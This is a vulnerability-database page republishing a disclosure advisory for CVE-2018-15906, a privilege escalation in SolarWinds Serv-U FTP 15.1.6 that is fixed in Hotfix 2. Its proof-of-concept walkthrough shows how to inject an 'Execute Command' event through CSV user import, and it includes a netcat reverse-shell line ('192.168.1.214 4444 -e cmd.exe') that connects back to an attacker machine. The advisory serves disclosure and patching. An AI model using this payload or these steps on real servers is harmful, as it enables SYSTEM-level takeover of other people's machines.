Lucene search
K

SolarWinds Serv-U FTP 15.1.6 Privilege Escalation

🗓️ 02 Feb 2019 00:00:00Reported by Chris MoberlyType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 312 Views

SolarWinds Serv-U FTP 15.1.6 Privilege Escalation by leveraging CSV user import function to execute remote code under Windows SYSTEM account

Related
Code
ReporterTitlePublishedViews
Family
0day.today
SolarWinds Serv-U FTP 15.1.6 Privilege Escalation Vulnerability
2 Feb 201900:00
zdt
Circl
CVE-2018-15906
4 Feb 201915:54
circl
CVE
CVE-2018-15906
17 Mar 201921:34
cve
Cvelist
CVE-2018-15906
17 Mar 201921:34
cvelist
EUVD
EUVD-2018-7762
7 Oct 202500:30
euvd
NVD
CVE-2018-15906
21 Mar 201916:00
nvd
Prion
Design/Logic Flaw
21 Mar 201916:00
prion
RedhatCVE
CVE-2018-15906
22 May 202507:02
redhatcve
`CVE: CVE-2018-15906  
Attack type: Remote, authenticated  
Discovered by: Chris Moberly @ The Missing Link Security  
Operating Systems: Verified on Win10 and Win2016  
Vulnerable version: Tested on 15.1.6 (current as of August 2018).  
Fixed in: Serv-U 15.1.6 Hotfix 2  
  
# Description  
SolarWinds Serv-U FTP Server is vulnerable to privilege escalation from remote  
authenticated users by leveraging the CSV user import function. This leads to  
obtaining remote code execution under the context of the Windows SYSTEM account  
in a default installation.  
  
# Additonal Information  
## Overview  
Privilege escalation is possible from an authenticated user who is a member of  
the "Domain Administrators" group to a user with full administrative rights  
(System Administrator), permitting remote command execution.  
  
Serv-U allows users with the "System Administrator" role to configure events  
which trigger tasks, such as running executables. Lower-level administrators  
such as "Domain Administrators" are denied this option. When authenticated as  
one of these lower-level administrators, this control can be bypassed by using  
the built-in user "Import" function to load a CSV file with the event already  
defined.  
  
As this tool also permits file uploads, an authenticated attacker can upload  
something like nc.exe and define a trigger to execute a reverse-shell  
connection to a remote box. The application installs as SYSTEM by default,  
leading to a complete compromise of the machine.  
  
This method may also bypass other restrictions, such as granting users execute  
permissions on directories, elevating their administrative privileges, and  
granting them access to alternative UIs.  
  
## Exploit POC Walkthrough  
Begin with a clean install of the Serv-U trial version. Log in using the  
"Management Console" application on the Windows server itself. Create the  
following two users in a domain called "test":  
- lowpriv (no admin privileges, only read access on home directory)  
- domadmin (domain administrator, read/write on home directory C:\)  
  
Next, log in to the web interface as domadmin.  
  
In the file area (/Web%20Client/ListDir.htm), upload an executable to the  
home directory. I used "nc.exe" for its reverse-shell capabilities, but really  
anything will work for a POC.  
  
Back in the management area (/?Command=Login) go to the test domain and select  
"Users". Edit the lowpriv user. Go to the "Events" tab and click "Add".  
Try to set one up with "Action" set to "Execute Command" and click "Save"  
  
You will receive a permissions error, as this is not allowed.  
  
Still in the web UI, under Domain Users click the "Export" button to save the  
CSV. Make some changes to this CSV:  
  
Duplicate the user "lowpriv" in a new row called "lowpriv2". Find the CSV  
column titled "SUEvent" and place the following test in its section for this  
new user:  
1,10,EventID,200,EventName,Event 01,Action,2,Data1,192.168.1.214 4444 -e cmd.exe,ExeFilePath,/nc.exe  
  
(that is executing NC to connect back an attacking machine, which has a  
listener running on 192.168.1.214 on port 4444. Adjust accordingly.)  
  
After saving the changes, import the CSV back in while logged in as domadmin.  
You should see a message that 1 of 3 users have been imported.  
  
Now, click on "Edit" for user lowpriv2. Go to the "Events" tab and see that you  
now have the "Execute Command" event that you do should not have the permission  
to create.  
  
Highlight the task and click "Test Event" and it will execute. Remove the event  
if this is a production environment.  
  
You now have a shell with SYSTEM permissions on your attacking box, giving you  
complete control of the server. From here, you can compromise the box or  
manually edit the Serv-U archive files to create full admin accounts.  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation